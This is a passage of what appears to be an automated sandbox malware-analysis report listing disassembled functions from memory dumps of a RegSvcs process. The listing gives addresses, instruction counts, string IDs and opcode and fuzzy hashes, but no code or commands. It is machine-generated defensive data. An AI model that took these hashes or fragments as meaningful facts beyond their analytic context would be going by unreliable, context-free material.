                                      • String ID: fw+
                                      • API String ID: 0-2144958705
                                      • Opcode ID: e094aa60052f1f91bd8d78cd957a6e124433b68d5cb9af6ddcf9661a54951c72
                                      • Instruction ID: f78f67d6c525485eeee3e275d4a27dfaa1ac5ccab82f963d91cc46ecfdf22648
                                      • Opcode Fuzzy Hash: e094aa60052f1f91bd8d78cd957a6e124433b68d5cb9af6ddcf9661a54951c72
                                      • Instruction Fuzzy Hash: BE63E431D10B1A8EDB51EF68C884699F7B1EF99300F11D79AE458B7121EB70AAD4CF81
                                      Function 0026F488 Relevance: 1.9, Strings: 1, Instructions: 605COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID: 9W
                                      • API String ID: 0-532340081
                                      • Opcode ID: 08bbd638edb52d4195baf5456d1dcdbc4bda09780d53e47853f9fe82612fa413
                                      • Instruction ID: 67eb321bbde7ea77b6752a8977427dee345bc4021e705daf801d1bc4b9cea5d5
                                      • Opcode Fuzzy Hash: 08bbd638edb52d4195baf5456d1dcdbc4bda09780d53e47853f9fe82612fa413
                                      • Instruction Fuzzy Hash: 17423F31E106198FCB54EF74D99569EB7B2BFC9300F5086AAE409AB650EF70AD81CF40
                                      Function 00466F20 Relevance: .7, Instructions: 736COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622139092.0000000000460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00460000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_460000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 0e25d253a3f50b9efadf31191c0f9c3247d496ec960fdbee08ef64b23c33155e
                                      • Instruction ID: 85732d22c3344a56490c57fdc99eef93b0a6f2de33f598f4f2c1ab409c239e61
                                      • Opcode Fuzzy Hash: 0e25d253a3f50b9efadf31191c0f9c3247d496ec960fdbee08ef64b23c33155e
                                      • Instruction Fuzzy Hash: 4142B530B002048FDB54EB78D4957AFB7E2BB85314F54842AE406EB781EF74ED429B96
                                      Function 00462150 Relevance: .5, Instructions: 519COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622139092.0000000000460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00460000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_460000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: f00ecfa22c236ed66cdeec1bc9884cb64915a3a15a9770e9f999b68af415a530
                                      • Instruction ID: e95f2f39eea42ec7b814257448077c8dfe65ac5a368b1e33836da751b7c723aa
                                      • Opcode Fuzzy Hash: f00ecfa22c236ed66cdeec1bc9884cb64915a3a15a9770e9f999b68af415a530
                                      • Instruction Fuzzy Hash: D5029130B006159FDB14EB74D5956AEB7E2BFC4300F24842AE406EB791EFB4ED428B95
                                      Function 002647B8 Relevance: .3, Instructions: 266COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 294ff36f02baa58a799c917c3a74c0d6c57ef14ffe5a27b9abbd4f145c8579b2
                                      • Instruction ID: 14fda72c7ae899efa3bad9f65d78aa9025fff2b719f32339a77f183df1ecdf53
                                      • Opcode Fuzzy Hash: 294ff36f02baa58a799c917c3a74c0d6c57ef14ffe5a27b9abbd4f145c8579b2
                                      • Instruction Fuzzy Hash: 4CB18E70E20209DFDF10DFA9C89579EBBF2AF88314F148129D854E7294EB749C95CB85
                                      Function 00263BA0 Relevance: .2, Instructions: 238COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: c95cfb003776ba7792f8c003b3dd49c8154943e94ca27261b37bad173ff7ca82
                                      • Instruction ID: 8707037bbfbf925a06723e095f8b8a090843b6bfb72012ecdd97c9a53755a111
                                      • Opcode Fuzzy Hash: c95cfb003776ba7792f8c003b3dd49c8154943e94ca27261b37bad173ff7ca82
                                      • Instruction Fuzzy Hash: 18916E70E102098FDF14DFA9C8857DEBBF2AF88314F148529E815E7290DB749A95CB91
                                      Function 0026E812 Relevance: 4.8, Strings: 3, Instructions: 1039COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID: T%W$7W$7W
                                      • API String ID: 0-897067053
                                      • Opcode ID: 85e05eb6fa03f7dcff2a1bfece603c7dd97c9aff6cbae28f6a80738b24853166
                                      • Instruction ID: 4f64ea1c027554b9cd6824db4f340f3ffa6bf5347e413f141e9f70b0b949149b
                                      • Opcode Fuzzy Hash: 85e05eb6fa03f7dcff2a1bfece603c7dd97c9aff6cbae28f6a80738b24853166
                                      • Instruction Fuzzy Hash: 2C923434A10205CFDB64DF68C588A5DBBF2FB85314F6584AAE409EB251DB35ED86CF80
                                      Function 00266007 Relevance: 1.9, Strings: 1, Instructions: 665COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID: ,W
                                      • API String ID: 0-3254143563
                                      • Opcode ID: 626167bcbb8fd6760ba5ae3a38f37bf827f92922e49903feeece106c2ffcc14a
                                      • Instruction ID: dc07d52414e38fce3b2c93e2484e2903b183f6f60a59cbef856e2e0241a0b31f
                                      • Opcode Fuzzy Hash: 626167bcbb8fd6760ba5ae3a38f37bf827f92922e49903feeece106c2ffcc14a
                                      • Instruction Fuzzy Hash: 9E32A330B21301CFDB546F78A4A526E76A3FBC9345B60883CE006DB791DE75DD829B91
                                      Function 00461348 Relevance: 1.7, Strings: 1, Instructions: 437COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622139092.0000000000460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00460000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_460000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID: &55p
                                      • API String ID: 0-1955183375
                                      • Opcode ID: cd7e0378dc8a6038eb7dcd6bcbe9a07ab2fd9d35e84a51b43360cf3e71dfd571
                                      • Instruction ID: 84d050bafbc42c6e920de0921ab03ea3e412496c48270256982eec8acd2a89c1
                                      • Opcode Fuzzy Hash: cd7e0378dc8a6038eb7dcd6bcbe9a07ab2fd9d35e84a51b43360cf3e71dfd571
                                      • Instruction Fuzzy Hash: 44F14030B102048FDB58EBB4C49576FB7A2BF85300F24852AE416AB7A5DF74DD46CB92
                                      Function 0026841D Relevance: 1.6, Strings: 1, Instructions: 347COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID: T%W
                                      • API String ID: 0-2299022286
                                      • Opcode ID: 3469bb5c9b8c306ea31be4ee86a32af27e5fd2e7d5505817bee7e0b3c69457c1
                                      • Instruction ID: 9428b81288e7f1aeea6ad38ccb7ad9e95db2c696a2bf6f20c8890eef9dd789a9
                                      • Opcode Fuzzy Hash: 3469bb5c9b8c306ea31be4ee86a32af27e5fd2e7d5505817bee7e0b3c69457c1
                                      • Instruction Fuzzy Hash: 5BC17135B101058FDB14DF68D895AAEB7F2EF88310F248569E406EB3A1DE34ED81CB91
                                      Function 00460F98 Relevance: 1.5, Strings: 1, Instructions: 272COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622139092.0000000000460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00460000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_460000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID: 7W
                                      • API String ID: 0-2168058111
                                      • Opcode ID: 25396c196b1afc5ae99d66a2fd8324982e6f74de3556142780442226603ea907
                                      • Instruction ID: 9b768f681fee40969c4c9bf9adf3e24895e5d2ffb9860c92c9947c02f061d492
                                      • Opcode Fuzzy Hash: 25396c196b1afc5ae99d66a2fd8324982e6f74de3556142780442226603ea907
                                      • Instruction Fuzzy Hash: 4EA19130A00214CFDB14EB64C155B5EB7E2AF84311F58C46AE40AEB7A1EB79ED41CB85
                                      Function 0046133E Relevance: 1.4, Strings: 1, Instructions: 181COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622139092.0000000000460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00460000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_460000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID: &55p
                                      • API String ID: 0-1955183375
                                      • Opcode ID: 1bc55701e5327ae722c8fd2ac12834d2a9098cff08bbf8155044fe1638d45d65
                                      • Instruction ID: 8393027dc4caa782dd94d9c5942d9d5e9e8aa4f3e32ce3df5ce9736c49b4c653
                                      • Opcode Fuzzy Hash: 1bc55701e5327ae722c8fd2ac12834d2a9098cff08bbf8155044fe1638d45d65
                                      • Instruction Fuzzy Hash: 4D618E70A112048FDB54EBA4C4917AFB7F2BF85300F648929E406EB795DB749D82CF91
                                      Function 00468250 Relevance: .9, Instructions: 905COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622139092.0000000000460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00460000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_460000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: fff25ab97290b4f8ba516b0d9d57858c1ec10e2f5fc9519ac2a7162e0113a928
                                      • Instruction ID: d76b8b9afb6f4d0a0ac0c7fc78e8b2a3b607932869afe39a145905021a170830
                                      • Opcode Fuzzy Hash: fff25ab97290b4f8ba516b0d9d57858c1ec10e2f5fc9519ac2a7162e0113a928
                                      • Instruction Fuzzy Hash: FE724230A00214CFDB64EB64C49575EB7A2BF85300F6089AEE409BB791DF75AD82CF95
                                      Function 00466390 Relevance: .5, Instructions: 489COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622139092.0000000000460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00460000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_460000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 3ba8f8fd11f2a4f1b29c9259e19a48e3f5f1c63ed974ae27a0d675c45629f7b7
                                      • Instruction ID: 02f63ee31c8ededa88b8c715d1e2ebeffc5c67805cffa8791bbb1d01f95c1f6e
                                      • Opcode Fuzzy Hash: 3ba8f8fd11f2a4f1b29c9259e19a48e3f5f1c63ed974ae27a0d675c45629f7b7
                                      • Instruction Fuzzy Hash: 5C029F30A002148FDF24DF68D4846AEB7E2FB85304F25846BE419EB351EB78ED85CB56
                                      Function 002687C8 Relevance: .4, Instructions: 364COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 84660e0ec29c33633269fb6b8a19bdab4b417a439d19f05f240e180c1e419274
                                      • Instruction ID: c535eab0d4af6f8b6405f71c4c355d93c8921eda6c8bde80809931127d29bf7e
                                      • Opcode Fuzzy Hash: 84660e0ec29c33633269fb6b8a19bdab4b417a439d19f05f240e180c1e419274
                                      • Instruction Fuzzy Hash: FBD1C371B102058FDB14DF68D8847AEBBB2FF85310F24866AE409EB391DA70DD91CB91
                                      Function 00460488 Relevance: .3, Instructions: 273COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622139092.0000000000460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00460000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_460000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 4d056866dca360f870ef61fec291e8ffc4b4a336299b30cbca7c3d2742e81b85
                                      • Instruction ID: bdacbec288b91d63c076c481f04e8843787f22c034968792376e1c1c75157cff
                                      • Opcode Fuzzy Hash: 4d056866dca360f870ef61fec291e8ffc4b4a336299b30cbca7c3d2742e81b85
                                      • Instruction Fuzzy Hash: 65916030B002048FDB54DBB8C49576F7BE2AFC5310F10852AE40AEB795EE74ED428B96
                                      Function 00260FC8 Relevance: .2, Instructions: 227COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: fe787256baa34b1974c9c2c3137ec2da7f0d5c43f4aec9ec9ecb48cbd408e15e
                                      • Instruction ID: 0ac0ad550d172a0ed4c997ec692c72b6198e607af68e78a70435e2cd64f16241
                                      • Opcode Fuzzy Hash: fe787256baa34b1974c9c2c3137ec2da7f0d5c43f4aec9ec9ecb48cbd408e15e
                                      • Instruction Fuzzy Hash: C6817530A1415A8FDF24CF69C4D07ADBBB1EB56310F6C8596D848DB296C624EDE0CB61
                                      Function 00260BFB Relevance: .2, Instructions: 213COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: a262a612b3a9a99c0e3efe695f489c7f0908e4d253ad1eedad2cfedf5a51a5e5
                                      • Instruction ID: 86b6f9f0c430418cd0d436c209e3a1681abb02d5c1b5e91c0554c089fc14049e
                                      • Opcode Fuzzy Hash: a262a612b3a9a99c0e3efe695f489c7f0908e4d253ad1eedad2cfedf5a51a5e5
                                      • Instruction Fuzzy Hash: D581D730A213C1CFD705BFB4E99905C3BA2ABDA20B340955BD0429FE65EE301995CF92
                                      Function 0046A100 Relevance: .2, Instructions: 212COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622139092.0000000000460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00460000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_460000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: cbf78a4d1e829084230e7cfb29e41c7f1937ba887daa52f8ed79aa4d6ee9c840
                                      • Instruction ID: f320d7b9fb2a5066fe8a64b6b29601d4dee0fb3e0399a3fb3de1f80451439f76
                                      • Opcode Fuzzy Hash: cbf78a4d1e829084230e7cfb29e41c7f1937ba887daa52f8ed79aa4d6ee9c840
                                      • Instruction Fuzzy Hash: 6F814E30B006089FDB14EBA8C591AAEB7F6FF85304F54842AE405EB355EB74ED428F56
                                      Function 00463A80 Relevance: .2, Instructions: 205COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622139092.0000000000460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00460000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_460000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 15cf943c763baa20ead9f558ed3026c84030ce34969f3f8034f57b278446b650
                                      • Instruction ID: 8a9cf39de8b3ad0620e755c2f54742f58b2e0c409032ba196112595222aa82c8
                                      • Opcode Fuzzy Hash: 15cf943c763baa20ead9f558ed3026c84030ce34969f3f8034f57b278446b650
                                      • Instruction Fuzzy Hash: 5891DB70E012188FDB64DF64D8957DEB7F2BF89300F5085AAE809AB791DA706E81CF51
                                      Function 00265368 Relevance: .2, Instructions: 204COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: e1e5f7f5798235cc1220c9632f7c74436c3970c5cddf16e0f7bf8a3ea48c2259
                                      • Instruction ID: 8ff7b442a14f0455df579f04f47068a4f439583ce58166862fa8e8972bd1bf53
                                      • Opcode Fuzzy Hash: e1e5f7f5798235cc1220c9632f7c74436c3970c5cddf16e0f7bf8a3ea48c2259
                                      • Instruction Fuzzy Hash: D261C431F106268FCB24DF78C48566E7BB2EF85310F6545AAE406EB391DA35DCD18B90
                                      Function 00264530 Relevance: .2, Instructions: 180COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 207552308df1397cfbdbbf4e8487bfbae96de409c145fd8634c5c76ae5c2f9fb
                                      • Instruction ID: 057ce8c2b7eefb8c0d042d14a5f9ed1f420763a3a92bbfecf42a44a26ecdf228
                                      • Opcode Fuzzy Hash: 207552308df1397cfbdbbf4e8487bfbae96de409c145fd8634c5c76ae5c2f9fb
                                      • Instruction Fuzzy Hash: DF718B70E102098FDF10EFA8C885BDEFBF6AF89744F148129E455A7254DB749891CB81
                                      Function 00260C99 Relevance: .2, Instructions: 167COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 522c07cb2e072923fdcbb09876b877ca852a2f1496dd7e4d6b706dd04eb3ecd9
                                      • Instruction ID: 559bfe9f70247cba2d2d0bf8c940d0d0b5c1c3b9909b401d66a1c8f8b8b55640
                                      • Opcode Fuzzy Hash: 522c07cb2e072923fdcbb09876b877ca852a2f1496dd7e4d6b706dd04eb3ecd9
                                      • Instruction Fuzzy Hash: D5615234621381CFD705BFF4E99905C7BA2ABC920B340945BD0069FF69EE301985CF92
                                      Function 00260CA8 Relevance: .2, Instructions: 161COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: a0702f07490c6a697e4653c362888c6acf1b7a59e58b16ddaa8ed84494bfe211
                                      • Instruction ID: da511f954abb870134a388b96f7cb041d62e44e04ad48e6b64ba399e84f8c46a
                                      • Opcode Fuzzy Hash: a0702f07490c6a697e4653c362888c6acf1b7a59e58b16ddaa8ed84494bfe211
                                      • Instruction Fuzzy Hash: 57613335A21385CFD705BFF4E99905C7BA2ABC920B740985BD0075FF69EE3019858F92
                                      Function 0026E3C1 Relevance: .1, Instructions: 96COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 66fa4c60904ea0f4a1da3b59ae453ea2324370a40926cc5eae1ffc0e2f5afbb4
                                      • Instruction ID: fb8f527b4439c0344050ba4afb785b16b0c662d807e5c22211a1b533500a9ad3
                                      • Opcode Fuzzy Hash: 66fa4c60904ea0f4a1da3b59ae453ea2324370a40926cc5eae1ffc0e2f5afbb4
                                      • Instruction Fuzzy Hash: 70315E35E10609DFDB14DF75D898A9EBBB2BF89300F11852AE806EB354DB70AD85CB50
                                      Function 00265690 Relevance: .1, Instructions: 95COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 7bfd06089e0949801a4ee9844b6a3117cee8e8b4f09a0f585fa4edbad2cc8a89
                                      • Instruction ID: dd4c939423913fd086d67b9253cbefa269e1ff61e3d476c26a2d9e6accaa0f5a
                                      • Opcode Fuzzy Hash: 7bfd06089e0949801a4ee9844b6a3117cee8e8b4f09a0f585fa4edbad2cc8a89
                                      • Instruction Fuzzy Hash: 34315434E2061ADBDB15CF65D85479EB7B6FF85310F608526E801EB240E770AD91CB50
                                      Function 0026E3D0 Relevance: .1, Instructions: 91COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 8c112580a41e154902daf72685a22f7b8e2bf8d6914a8aff6d15dfed1ebea6bc
                                      • Instruction ID: 9a0748278ba3a456db6b03452d7bcfce57dd0fb3705c52fd46f98aa9d58cc32d
                                      • Opcode Fuzzy Hash: 8c112580a41e154902daf72685a22f7b8e2bf8d6914a8aff6d15dfed1ebea6bc
                                      • Instruction Fuzzy Hash: F2315A35A10609DFCB14DF65D898A9EB7B2BF89300F11C52AE806EB350DF70AD86CB50
                                      Function 00460040 Relevance: .1, Instructions: 91COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622139092.0000000000460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00460000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_460000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: a3f78f08d994f05ccc2c5751f8d62a58ce0fdc82ecd96db2b5c4bd66c0a02abd
                                      • Instruction ID: 3fa224fd8fb9876e72a596622b472259c500c5e8fa711ec7ca4c4df166b1e117
                                      • Opcode Fuzzy Hash: a3f78f08d994f05ccc2c5751f8d62a58ce0fdc82ecd96db2b5c4bd66c0a02abd
                                      • Instruction Fuzzy Hash: 2C31A771F001148FDB54DFB984427AFBAF5AB88310F54806AE505F7781EE79EC418BA5
                                      Function 00262408 Relevance: .1, Instructions: 90COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 89785a64f1ff7134d6df6ab9537e4e6d6cd8de54a5b313899e14b4c7fe383c6a
                                      • Instruction ID: 905fb7520de208e05664af35fe15a842e4ac959793e01446b6b2358e162b4127
                                      • Opcode Fuzzy Hash: 89785a64f1ff7134d6df6ab9537e4e6d6cd8de54a5b313899e14b4c7fe383c6a
                                      • Instruction Fuzzy Hash: 4A410270D10749DFDB14DF99C494ADEBBF5AF88314F608029E809AB250DB74AA59CB90
                                      Function 00268310 Relevance: .1, Instructions: 82COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 912d4386fa7b9dc9fd7d93d652e2c6f678286c83749f2b2f7c9d88bacb308046
                                      • Instruction ID: 9c44368181e432cd528ba0fdf15551dcefe9165dd3fea76473625a8c92d94a3f
                                      • Opcode Fuzzy Hash: 912d4386fa7b9dc9fd7d93d652e2c6f678286c83749f2b2f7c9d88bacb308046
                                      • Instruction Fuzzy Hash: 05317131E1020A9BDB05DF65D4946AEF7B6BF89300F24C65AE805FB340DF70AD968B91
                                      Function 00261787 Relevance: .1, Instructions: 79COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 11bc9f2df7ab4ee5aac9a7bfa81dfc33d2348a7fb899da343f41b26291be827c
                                      • Instruction ID: fa0843a215773ff2042127ca56f4d62f6e723edd605dfdb9b5e41173e4c935f4
                                      • Opcode Fuzzy Hash: 11bc9f2df7ab4ee5aac9a7bfa81dfc33d2348a7fb899da343f41b26291be827c
                                      • Instruction Fuzzy Hash: 3921D6356202018FEB23FF7CD88971D7751EBC1316F144866E005CB6A4DA38EDA58791
                                      Function 00460F92 Relevance: .1, Instructions: 78COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622139092.0000000000460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00460000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_460000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 30c9e665f4687da1913fd23a21fd958ab6b760dd8db06bb5e7ff84122bfc8bbf
                                      • Instruction ID: 7e326984bd60a0c8c71a5e607f007b1bc72f62da680488d1464167de1568c878
                                      • Opcode Fuzzy Hash: 30c9e665f4687da1913fd23a21fd958ab6b760dd8db06bb5e7ff84122bfc8bbf
                                      • Instruction Fuzzy Hash: E321F230B001148FDF54EBB8E45569FBBE3AFC5310F54842AE406EB791FA649C818B86
                                      Function 00261998 Relevance: .1, Instructions: 75COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: ac39f2a26e09ea321d9fcdec6423917657dfddf5e0d8ca700c3409b738aae4f1
                                      • Instruction ID: 558491851bb232179048e27172956c25421da465b56baeaaf4528f3318b611da
                                      • Opcode Fuzzy Hash: ac39f2a26e09ea321d9fcdec6423917657dfddf5e0d8ca700c3409b738aae4f1
                                      • Instruction Fuzzy Hash: C8217130B212058FDB64EFB4C5253AE73F1AB8A341F1404A8D006EB390DF35ADA0CB91
                                      Function 00268200 Relevance: .1, Instructions: 75COMMON
                                      Download Yara Rule
                                      Memory Dump Source
